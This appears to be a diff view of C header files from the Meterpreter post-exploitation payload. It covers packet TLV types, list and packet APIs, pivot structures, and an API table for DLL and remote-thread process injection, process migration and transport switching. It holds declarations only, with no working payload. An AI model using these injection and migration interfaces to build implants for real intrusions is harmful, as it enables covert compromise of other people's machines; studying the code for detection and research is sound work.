TLV_TYPE_ENC_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 553), ///! Represents and RSA-encrypted symmetric key
// Pivots
TLV_TYPE_PIVOT_ID = TLV_VALUE(TLV_META_TYPE_RAW, 650), ///! Represents the id of the pivot listener
TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections.
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_VALUE(TLV_META_TYPE_UINT, 652), ///! Represents the size of the data to be staged on new connections.
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name.
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value.
TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value.
TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value.
} TlvType;
#ifndef QWORD
typedef unsigned __int64 QWORD;
#endif
#define ntohq( qword ) ( (QWORD)ntohl( qword & 0xFFFFFFFF ) << 32 ) | ntohl( qword >> 32 )
#define htonq( qword ) ntohq( qword )
typedef struct
{
DWORD length;
DWORD type;
} TlvHeader;
typedef struct
{
TlvHeader header;
PUCHAR buffer;
} Tlv;
typedef struct
{
BYTE xor_key[4];
BYTE session_guid[sizeof(GUID)];
DWORD enc_flags;
DWORD length;
DWORD type;
} PacketHeader;
/*! @brief Packet definition. */
typedef struct _Packet
{
PacketHeader header;
PUCHAR payload;
ULONG payloadLength;
LIST * decompressed_buffers;
///! @brief Flag indicating if this packet is a local (ie. non-transmittable) packet.
BOOL local;
///! @brief Pointer to the associated packet (response/request)
struct _Packet* partner;
} Packet;
typedef struct _DECOMPRESSED_BUFFER
{
LPVOID buffer;
DWORD length;
} DECOMPRESSED_BUFFER;
/*! * @brief Packet request completion notification handler function pointer type. */
typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote,
Packet *response, LPVOID context, LPCSTR method, DWORD result);
typedef struct _PacketRequestCompletion
{
LPVOID context;
PacketRequestCompletionRoutine routine;
DWORD timeout;
} PacketRequestCompletion;
/*
* Packet manipulation
*/
LINKAGE Packet *packet_create(PacketTlvType type, LPCSTR method);
LINKAGE Packet *packet_create_response(Packet *packet);
LINKAGE Packet* packet_create_group();
LINKAGE Packet *packet_duplicate(Packet *packet);
LINKAGE VOID packet_destroy(Packet *packet);
LINKAGE DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket);
LINKAGE DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str);
LINKAGE DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str);
LINKAGE DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength);
LINKAGE DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val);
LINKAGE DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val );
LINKAGE DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val);
LINKAGE DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries);
LINKAGE DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries);
LINKAGE DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length);
LINKAGE DWORD packet_is_tlv_null_terminated(Tlv *tlv);
LINKAGE PacketTlvType packet_get_type(Packet *packet);
LINKAGE TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv);
LINKAGE DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv);
LINKAGE DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv);
LINKAGE DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry);
LINKAGE DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv);
LINKAGE PCHAR packet_get_tlv_value_string(Packet *packet, TlvType type);
LINKAGE wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type);
LINKAGE UINT packet_get_tlv_value_uint(Packet *packet, TlvType type);
LINKAGE BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type );
LINKAGE QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type);
LINKAGE BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type);
LINKAGE DWORD packet_add_exception(Packet *packet, DWORD code,PCHAR string, ...);
LINKAGE DWORD packet_get_result(Packet *packet);
/*
* Packet transmission
*/
LINKAGE DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response);
LINKAGE DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion);
LINKAGE DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res);
LINKAGE DWORD packet_add_request_id(Packet* packet);
/*
* Packet completion notification
*/
LINKAGE DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion);
LINKAGE DWORD packet_call_completion_handlers(Remote *remote, Packet *response,LPCSTR requestId);
LINKAGE DWORD packet_remove_completion_handler(LPCSTR requestId);
/*
* Core API
*/
LINKAGE HANDLE core_update_thread_token( Remote *remote, HANDLE token );
LINKAGE VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName );
#endif
/*!
* @file core.h
* @brief Declarations of core components of the Meterpreter suite.
* @details Much of what exists in the core files is used in almost every area
* of the Meterpreter code base, and hence it's very important. Don't
* change this stuff unless you know what you're doing!
*/
#ifndef _METERPRETER_COMMON_CORE_H
#define _METERPRETER_COMMON_CORE_H
#include "common_remote.h"
#include "common_list.h"
/*!
* @brief Creates a new TLV value based on `actual` and `meta` values.
*/
#define TLV_VALUE(meta, actual) actual | meta
/*!
* @brief Creates a new custom TVL type.
*/
#define MAKE_CUSTOM_TLV(meta, base, actual) (TlvType)((base + actual) | meta)
/*!
* @brief Enumeration of allowed Packet TLV types.
*/
typedef enum
{
PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet.
PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet.
PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet.
PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet.
} PacketTlvType;
/*! @brief Meta TLV argument type representing a null value. */
#define TLV_META_TYPE_NONE (0 << 0)
/*! @brief Meta TLV argument type representing a string value. */
#define TLV_META_TYPE_STRING (1 << 16)
/*! @brief Meta TLV argument type representing a unsigned integer value. */
#define TLV_META_TYPE_UINT (1 << 17)
/*! @brief Meta TLV argument type representing a raw data value. */
#define TLV_META_TYPE_RAW (1 << 18)
/*! @brief Meta TLV argument type representing a boolean value. */
#define TLV_META_TYPE_BOOL (1 << 19)
/*! @brief Meta TLV argument type representing a quad-word value. */
#define TLV_META_TYPE_QWORD (1 << 20)
/*! @brief Meta TLV argument type representing a compressed data value. */
#define TLV_META_TYPE_COMPRESSED (1 << 29)
/*! @brief Meta TLV argument type representing a group value. */
#define TLV_META_TYPE_GROUP (1 << 30)
/*! @brief Meta TLV argument type representing a nested/complex value. */
#define TLV_META_TYPE_COMPLEX (1 << 31)
/*! @brief Meta TLV argument type representing a flag set/mask value. */
#define TLV_META_TYPE_MASK(x) ((x) & 0xffff0000)
/*! @brief Base value for reserved TLV definitions. */
#define TLV_RESERVED 0
/*! @brief Base value for TLV definitions that are part of extensions. */
#define TLV_EXTENSIONS 20000
/*! @brief Base value for user TLV definitions. */
#define TLV_USER 40000
/*! @brief Base value for temporary TLV definitions. */
#define TLV_TEMP 60000
/*!
* @brief Indicates that the library in question should be stored on disk.
* @detail Some libraries can be written to disk and other libraries can't. The use of
* this flag will indicate that the library should not be written to disk and
* instead should be loaded reflectively.
*/
#define LOAD_LIBRARY_FLAG_ON_DISK (1 << 0)
/*!
* @brief Indicates that the library in question is an extension library.
* @detail Extension libraries have \c InitServerExtension and \c DeinitServerExtension
* functions which need to be invoked. This flag indicates that the library has
* these functions and that they should be called appropriately.
*/
#define LOAD_LIBRARY_FLAG_EXTENSION (1 << 1)
/*!
* @brief Indicates that the library in question is a library that exists locally.
* @detail Libraries can already exist on the target machine. This flag indicates that
* the library doesn't need to be uploaded, it just needs to be invoked directly
* on the local machine.
*/
#define LOAD_LIBRARY_FLAG_LOCAL (1 << 2)
/*! @brief An indication of whether the challen is synchronous or asynchronous. */
#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0)
/*! @brief An indication of whether the content written to the channel should be compressed. */
#define CHANNEL_FLAG_COMPRESS (1 << 1)
/*! @brief Type definition with defines `TlvMetaType` as an double-word. */
typedef DWORD TlvMetaType;
/*!
* @brief Full list of recognised TLV types.
*/
typedef enum
{
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value.
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value.
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value.
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value.
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value.
// Argument basic types
TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///! Represents a string value.
TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///! Represents an unsigned integer value.
TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///! Represents a boolean value.
// Extended types
TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///! Represents a length (unsigned integer).
TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///! Represents arbitrary data (raw).
TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///! Represents a set of flags (unsigned integer).
// Channel types
TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///! Represents a channel identifier (unsigned integer).
TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///! Represents a channel type (string).
TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///! Represents channel data (raw).
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///! Represents a channel data group (group).
TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///! Represents a channel class (unsigned integer).
TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///! Represents a channel parent identifier (unsigned integer).
// Channel extended types
TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70),
TLV_TYPE_SEEK_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 71),
TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72),
// Grouped identifiers
TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///! Represents an exception code value (unsigned in).
TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///! Represents an exception message value (string).
// Library loading
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
// Transport switching
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use.
TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http).
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout.
TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration.
TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https).
TLV_TYPE_TRANS_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy host string (for http/s).
TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http/s).
TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http/s).
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 439), ///! Total time (seconds) to continue retrying comms.
TLV_TYPE_TRANS_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 440), ///! Time (seconds) to wait between reconnect attempts.
TLV_TYPE_TRANS_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 441), ///! List of custom headers to send with the requests.
TLV_TYPE_TRANS_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 442), ///! A single transport grouping.
// session/machine identification
TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier.
TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID.
TLV_TYPE_SESSION_GUID = TLV_VALUE(TLV_META_TYPE_RAW, 462), ///! Represents a Session GUID.
// Packet encryption
TLV_TYPE_RSA_PUB_KEY = TLV_VALUE(TLV_META_TYPE_STRING, 550), ///! Represents PEM-formatter RSA public key
TLV_TYPE_SYM_KEY_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 551), ///! Represents the type of symmetric key
TLV_TYPE_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 552), ///! Represents the symmetric key
TLV_TYPE_ENC_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 553), ///! Represents and RSA-encrypted symmetric key
// Pivots
TLV_TYPE_PIVOT_ID = TLV_VALUE(TLV_META_TYPE_RAW, 650), ///! Represents the id of the pivot listener
TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections.
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_VALUE(TLV_META_TYPE_UINT, 652), ///! Represents the size of the data to be staged on new connections.
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name.
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value.
TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value.
TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value.
} TlvType;
#ifndef QWORD
typedef unsigned __int64 QWORD;
#endif
#define ntohq( qword ) ( (QWORD)ntohl( qword & 0xFFFFFFFF ) << 32 ) | ntohl( qword >> 32 )
#define htonq( qword ) ntohq( qword )
typedef struct
{
DWORD length;
DWORD type;
} TlvHeader;
typedef struct
{
TlvHeader header;
PUCHAR buffer;
} Tlv;
typedef struct
{
BYTE xor_key[4];
BYTE session_guid[sizeof(GUID)];
DWORD enc_flags;
DWORD length;
DWORD type;
} PacketHeader;
/*! @brief Packet definition. */
typedef struct _Packet
{
PacketHeader header;
PUCHAR payload;
ULONG payloadLength;
LIST * decompressed_buffers;
///! @brief Flag indicating if this packet is a local (ie. non-transmittable) packet.
BOOL local;
///! @brief Pointer to the associated packet (response/request)
struct _Packet* partner;
} Packet;
typedef struct _DECOMPRESSED_BUFFER
{
LPVOID buffer;
DWORD length;
} DECOMPRESSED_BUFFER;
/*! * @brief Packet request completion notification handler function pointer type. */
typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote,
Packet *response, LPVOID context, LPCSTR method, DWORD result);
typedef struct _PacketRequestCompletion
{
LPVOID context;
PacketRequestCompletionRoutine routine;
DWORD timeout;
} PacketRequestCompletion;
#endif

View File

@ -1,41 +1,28 @@
/*!
* @file list.h
* @brief Declarations for functions that operate on lists.
*/
#ifndef _METERPRETER_LIB_LIST_H
#define _METERPRETER_LIB_LIST_H
/*! @brief Container struct for data the lives in a list. */
typedef struct _NODE
{
struct _NODE * next; ///< Pointer to the next node in the list.
struct _NODE * prev; ///< Pointer to the previous node in the list.
LPVOID data; ///< Reference to the data in the list node.
} NODE, *PNODE;
/*! @brief Container structure for a list instance. */
typedef struct _LIST
{
NODE * start; ///< Pointer to the first node in the list.
NODE * end; ///< Pointer to the last node in the list.
DWORD count; ///< Count of elements in the list.
LOCK * lock; ///< Reference to the list's synchronisation lock.
} LIST, *PLIST;
typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData);
typedef VOID (*PCLEARFUNC)(LPVOID pData);
LIST * list_create(VOID);
VOID list_destroy(PLIST pList);
DWORD list_count(PLIST pList);
LPVOID list_get(PLIST pList, DWORD index);
BOOL list_clear(PLIST pList, PCLEARFUNC pFunc);
BOOL list_add(PLIST pList, LPVOID data);
BOOL list_remove(PLIST pList, LPVOID data);
BOOL list_delete(PLIST pList, DWORD index);
BOOL list_push(PLIST pList, LPVOID data);
LPVOID list_pop(PLIST pList);
LPVOID list_shift(PLIST pList);
BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState);
#endif
/*!
* @file list.h
* @brief Declarations for functions that operate on lists.
*/
#ifndef _METERPRETER_COMMON_LIST_H
#define _METERPRETER_COMMON_LIST_H
/*! @brief Container struct for data the lives in a list. */
typedef struct _NODE
{
struct _NODE * next; ///< Pointer to the next node in the list.
struct _NODE * prev; ///< Pointer to the previous node in the list.
LPVOID data; ///< Reference to the data in the list node.
} NODE, *PNODE;
/*! @brief Container structure for a list instance. */
typedef struct _LIST
{
NODE * start; ///< Pointer to the first node in the list.
NODE * end; ///< Pointer to the last node in the list.
DWORD count; ///< Count of elements in the list.
LOCK * lock; ///< Reference to the list's synchronisation lock.
} LIST, *PLIST;
typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData);
typedef VOID (*PCLEARFUNC)(LPVOID pData);
#endif

View File

@ -0,0 +1,177 @@
/*!
* @file common_metapi.h
* @brief Declarations for the Metepreter API to be used by extensions.
*/
#ifndef _METERPRETER_COMMON_METAPI_H
#define _METERPRETER_COMMON_METAPI_H
typedef struct _InjectApi
{
DWORD(*dll)(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char* cpCommandLine);
DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread);
} InjectApi;
typedef struct _ChannelApi
{
BOOL(*exists)(Channel* channel);
BOOL(*is_interactive)(Channel* channel);
BOOLEAN(*is_flag)(Channel* channel, ULONG flag);
Channel*(*create)(DWORD identifier, DWORD flags);
Channel*(*create_datagram)(DWORD identifier, DWORD flags, DatagramChannelOps* ops);
Channel*(*create_pool)(DWORD identifier, DWORD flags, PoolChannelOps* ops);
Channel*(*create_stream)(DWORD identifier, DWORD flags, StreamChannelOps* ops);
Channel*(*find_by_id)(DWORD id);
DWORD(*close)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, ChannelCompletionRoutine* completionRoutine);
DWORD(*default_io_handler)(Channel* channel, ChannelBuffer* buffer, LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, PULONG bytesXfered);
DWORD(*get_class)(Channel* channel);
DWORD(*get_id)(Channel* channel);
DWORD(*interact)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, BOOL enable, ChannelCompletionRoutine* completionRoutine);
DWORD(*open)(Remote* remote, Tlv* addend, DWORD addendLength, ChannelCompletionRoutine* completionRoutine);
DWORD(*read)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, ULONG length, ChannelCompletionRoutine* completionRoutine);
DWORD(*read_from_buffered)(Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesRead);
DWORD(*write)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine* completionRoutine);
DWORD(*write_to_buffered)(Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten);
DWORD(*write_to_remote)(Remote* remote, Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten);
LPVOID(*get_native_io_context)(Channel* channel);
PCHAR(*get_type)(Channel* channel);
PVOID(*get_buffered_io_context)(Channel* channel);
ULONG(*get_flags)(Channel* channel);
VOID(*destroy)(Channel* channel, Packet* request);
VOID(*set_buffered_io_handler)(Channel* channel, LPVOID dioContext, DirectIoHandler dio);
VOID(*set_flags)(Channel* channel, ULONG flags);
VOID(*set_interactive)(Channel* channel, BOOL interactive);
VOID(*set_native_io_context)(Channel* channel, LPVOID context);
VOID(*set_type)(Channel* channel, PCHAR type);
} ChannelApi;
typedef struct _LockApi
{
LOCK* (*create)();
VOID(*acquire)(LOCK* lock);
VOID(*destroy)(LOCK* lock);
VOID(*release)(LOCK* lock);
} LockApi;
typedef struct _EventApi
{
BOOL(*destroy)(EVENT* event);
BOOL(*poll)(EVENT* event, DWORD timeout);
BOOL(*signal)(EVENT* event);
EVENT*(*create)();
} EventApi;
typedef struct _ThreadApi
{
BOOL(*destroy)(THREAD* thread);
BOOL(*join)(THREAD* thread);
BOOL(*kill)(THREAD* thread);
BOOL(*run)(THREAD* thread);
BOOL(*sigterm)(THREAD* thread);
THREAD*(*create)(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3);
THREAD*(*open)();
HANDLE(*create_remote)(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);
HANDLE(*update_token)( Remote *remote, HANDLE token );
} ThreadApi;
typedef struct _DesktopApi
{
VOID(*update)( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName );
} DesktopApi;
typedef struct _SchedulerApi
{
DWORD(*initialize)(Remote* remote);
DWORD(*destroy)();
DWORD(*insert_waitable)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy);
DWORD(*signal_waitable)(HANDLE waitable, SchedulerSignal signal);
DWORD(THREADCALL*waitable_thread)(THREAD* thread);
} SchedulerApi;
typedef struct _PacketApi
{
BOOL(*get_tlv_value_bool)(Packet* packet, TlvType type);
BYTE*(*get_tlv_value_raw)(Packet* packet, TlvType type);
DWORD(*add_completion_handler)(LPCSTR requestId, PacketRequestCompletion* completion);
DWORD(*add_exception)(Packet* packet, DWORD code, PCHAR fmt, ...);
DWORD(*add_group)(Packet* packet, TlvType type, Packet* groupPacket);
DWORD(*add_request_id)(Packet* packet);
DWORD(*add_tlv_bool)(Packet* packet, TlvType type, BOOL val);
DWORD(*add_tlv_group)(Packet* packet, TlvType type, Tlv* entries, DWORD numEntries);
DWORD(*add_tlv_qword)(Packet* packet, TlvType type, QWORD val);
DWORD(*add_tlv_raw)(Packet* packet, TlvType type, LPVOID buf, DWORD length);
DWORD(*add_tlv_string)(Packet* packet, TlvType type, LPCSTR str);
DWORD(*add_tlv_uint)(Packet* packet, TlvType type, UINT val);
DWORD(*add_tlv_wstring)(Packet* packet, TlvType type, LPCWSTR str);
DWORD(*add_tlv_wstring_len)(Packet* packet, TlvType type, LPCWSTR str, size_t strLength);
DWORD(*add_tlvs)(Packet* packet, Tlv* entries, DWORD numEntries);
DWORD(*call_completion_handlers)(Remote* remote, Packet* response, LPCSTR requestId);
DWORD(*enum_tlv)(Packet* packet, DWORD index, TlvType type, Tlv* tlv);
DWORD(*get_tlv)(Packet* packet, TlvType type, Tlv* tlv);
DWORD(*get_tlv_group_entry)(Packet* packet, Tlv* group, TlvType type, Tlv* entry);
DWORD(*get_tlv_string)(Packet* packet, TlvType type, Tlv* tlv);
DWORD(*is_tlv_null_terminated)(Tlv* tlv);
DWORD(*remove_completion_handler)(LPCSTR requestId);
DWORD(*transmit)(Remote* remote, Packet* packet, PacketRequestCompletion* completion);
DWORD(*transmit_empty_response)(Remote* remote, Packet* packet, DWORD res);
DWORD(*transmit_response)(DWORD result, Remote* remote, Packet* response);
PCHAR(*get_tlv_value_string)(Packet* packet, TlvType type);
Packet*(*create)(PacketTlvType type, LPCSTR method);
Packet*(*create_group)();
Packet*(*create_response)(Packet* request);
PacketTlvType(*get_type)(Packet* packet);
QWORD(*get_tlv_value_qword)(Packet* packet, TlvType type);
TlvMetaType(*get_tlv_meta)(Packet* packet, Tlv* tlv);
UINT(*get_tlv_value_uint)(Packet* packet, TlvType type);
VOID(*destroy)(Packet* packet);
wchar_t*(*get_tlv_value_wstring)(Packet* packet, TlvType type);
} PacketApi;;
typedef struct _CommandApi
{
void(*deregister_all)(Command commands[]);
void(*register_all)(Command commands[]);
BOOL(*handle)(Remote* remote, Packet* packet);
} CommandApi;
typedef struct _StringApi
{
wchar_t*(*utf8_to_wchar)(const char* in);
char*(*wchar_to_utf8)(const wchar_t* in);
} StringApi;
typedef struct _ListApi
{
BOOL(*add)(PLIST pList, LPVOID data);
BOOL(*clear)(PLIST pList, PCLEARFUNC pFunc);
BOOL(*enumerate)(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState);
BOOL(*push)(PLIST pList, LPVOID data);
BOOL(*remove)(PLIST pList, LPVOID data);
BOOL(*remove_at)(PLIST pList, DWORD index);
DWORD(*count)(PLIST pList);
LIST*(*create)(VOID);
LPVOID(*get)(PLIST pList, DWORD index);
LPVOID(*pop)(PLIST pList);
LPVOID(*shift)(PLIST pList);
VOID(*destroy)(PLIST pList);
} ListApi;
typedef struct _MetApi
{
PacketApi packet;
CommandApi command;
ThreadApi thread;
LockApi lock;
EventApi event;
ChannelApi channel;
SchedulerApi scheduler;
StringApi string;
InjectApi inject;
DesktopApi desktop;
ListApi list;
} MetApi;
extern MetApi* met_api;
#endif

View File

@ -0,0 +1,23 @@
#ifndef _METERPRETER_COMMON_PIVOT_TREE_H
#define _METERPRETER_COMMON_PIVOT_TREE_H
typedef DWORD(*PivotWritePacket)(LPVOID state, LPBYTE rawPacket, DWORD rawPacketLength);
typedef DWORD(*PivotRemove)(LPVOID state);
typedef struct _PivotContext
{
PivotWritePacket packet_write;
PivotRemove remove;
LPVOID state;
} PivotContext;
typedef struct _PivotNode PivotNode;
typedef struct _PivotTree
{
PivotNode* head;
} PivotTree;
typedef void(*PivotTreeTraverseCallback)(LPBYTE guid, PivotContext* ctx, LPVOID state);
#endif

View File

@ -1,177 +1,170 @@
/*!
* @file remote.h
* @brief Declarations of functions and types that interact with a remote endpoint.
*/
#ifndef _METERPRETER_LIB_REMOTE_H
#define _METERPRETER_LIB_REMOTE_H
#include "thread.h"
#include "config.h"
#include "pivot_tree.h"
/*! @brief This is the size of the certificate hash that is validated (sha1) */
#define CERT_HASH_SIZE 20
typedef wchar_t CHARTYPE;
typedef CHARTYPE* STRTYPE;
// Forward declarations required to keep compilers happy.
typedef struct _Packet Packet;
typedef struct _PacketRequestCompletion PacketRequestCompletion;
typedef struct _Transport Transport;
typedef struct _SslLib SslLib;
typedef struct _Remote Remote;
typedef struct _TimeoutSettings TimeoutSettings;
typedef struct _HttpTransportContext HttpTransportContext;
typedef struct _PacketEncryptionContext PacketEncryptionContext;
typedef UINT_PTR(*PTransportGetHandle)(Transport* transport);
typedef DWORD(*PTransportGetConfigSize)(Transport* transport);
